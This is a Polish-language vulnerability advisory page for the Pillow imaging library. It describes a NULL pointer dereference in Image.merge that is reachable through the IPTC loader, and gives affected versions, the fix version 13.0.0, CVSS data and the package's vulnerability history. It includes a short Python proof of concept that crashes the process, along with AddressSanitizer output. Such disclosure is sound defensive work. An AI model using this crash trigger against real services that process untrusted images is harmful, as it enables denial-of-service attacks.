Pillow: Dereferencja wskaźnika NULL w Image.merge z powodu niesprawdzonego pasma 0
Podsumowanie
Image.merge() sprawdza tryb każdego pasma wejściowego z wyjątkiem pasma 0. Jeśli pasmo 0 jest obrazem jednopasmowym w trybie I lub F, natywna procedura merge odczytuje wskaźnik piksela, który dla tych trybów ma wartość NULL, co powoduje awarię procesu. Wtyczka IPTC trafia na ten stan po wywołaniu zwykłego Image.open(), a następnie operacji ładowania; ponieważ IPTC nie ma filtra nagłówków bazującego na tzw. magicznych bajtach, spreparowany plik bez rozpoznawalnego nagłówka może wywołać ten błąd.
Szczegóły
Pętla walidacyjna pomija pasmo 0:
src/PIL/Image.py:3795iteruje pofor band in bands[1:]i sprawdza tryb oraz rozmiar tylko dla nich.
Dla obrazu I lub F płaszczyzna 8-bitowa image8 wynosi NULL (ustawione jest wyłącznie image32). ImagingMerge dokonuje dereferencji bands[0]->image8[y] dla wielopasmowych trybów wyjściowych:
src/libImaging/Bands.c:302,:311,:321
Moduł ładujący IPTC buduje listę pasm z podobrazu określonego przez atakującego i przekazuje go do procedury merge z podobrazem o indeksie 0:
src/PIL/IptcImagePlugin.py:156-160src/PIL/IptcImagePlugin.py:169rejestruje procedurę otwierania bez funkcji accept.
PoC
from PIL import Image
# Band 0 is a single-band "I" image: its image8 plane is NULL. merge() validates only
# bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0.
band0 = Image.new("I", (4, 4))
Image.merge("RGB", [band0, Image.new("L", (4, 4)), Image.new("L", (4, 4))])
Uruchomienie:
$ python 02_poc.py
Segmentation fault (core dumped)
Zaobserwowano na kompilacji ze źródeł dla commita 3e2ab96.
W AddressSanitizerze:
==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
#0 ImagingMerge src/libImaging/Bands.c:311
#1 _merge src/_imaging.c:2492
SUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge
Adres zerowy potwierdza dereferencję brakującej płaszczyzny image8 dla pasma 0.
Wpływ
Dereferencja wskaźnika NULL w rozszerzeniu C. Spreparowany plik otwarty i załadowany przez ścieżkę IPTC powoduje awarię procesu roboczego. Jest to całkowity błąd procesu (hard crash), a nie wyjątek Pythona, który aplikacja mogłaby przechwycić.
Co trzeba zrobić
Zaktualizuj bibliotekę Pillow do wersji 13.0.0 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | pillow | >= 12.0.0, < 13.0.0 | 13.0.0 |
Odnośniki
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9
- https://nvd.nist.gov/vuln/detail/CVE-2026-112405
- https://github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Słabość (CWE)
CWE-476- Platforma
- Python (PyPI)
- Paczka
pillow- Ujawniono
- 21.10.2026
- Aktualizacja
- 22.10.2026 00:04
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-cp9v-662q-vvx9 - CC BY 4.0
Historia podatności: pillow
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 89
- Pierwsza → ostatnia
- 04.2014 10.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 1
Rozkład istotności
- Krytyczna 12
- Wysoka 57
- Średnia 18
- Niska 1
- Nieoceniona 1
Ujawnienia w latach
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 31
wcześniej: 12
-
Pillow: Dereferencja wskaźnika NULL w Image.merge z powodu niesprawdzonego pasma 0 ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.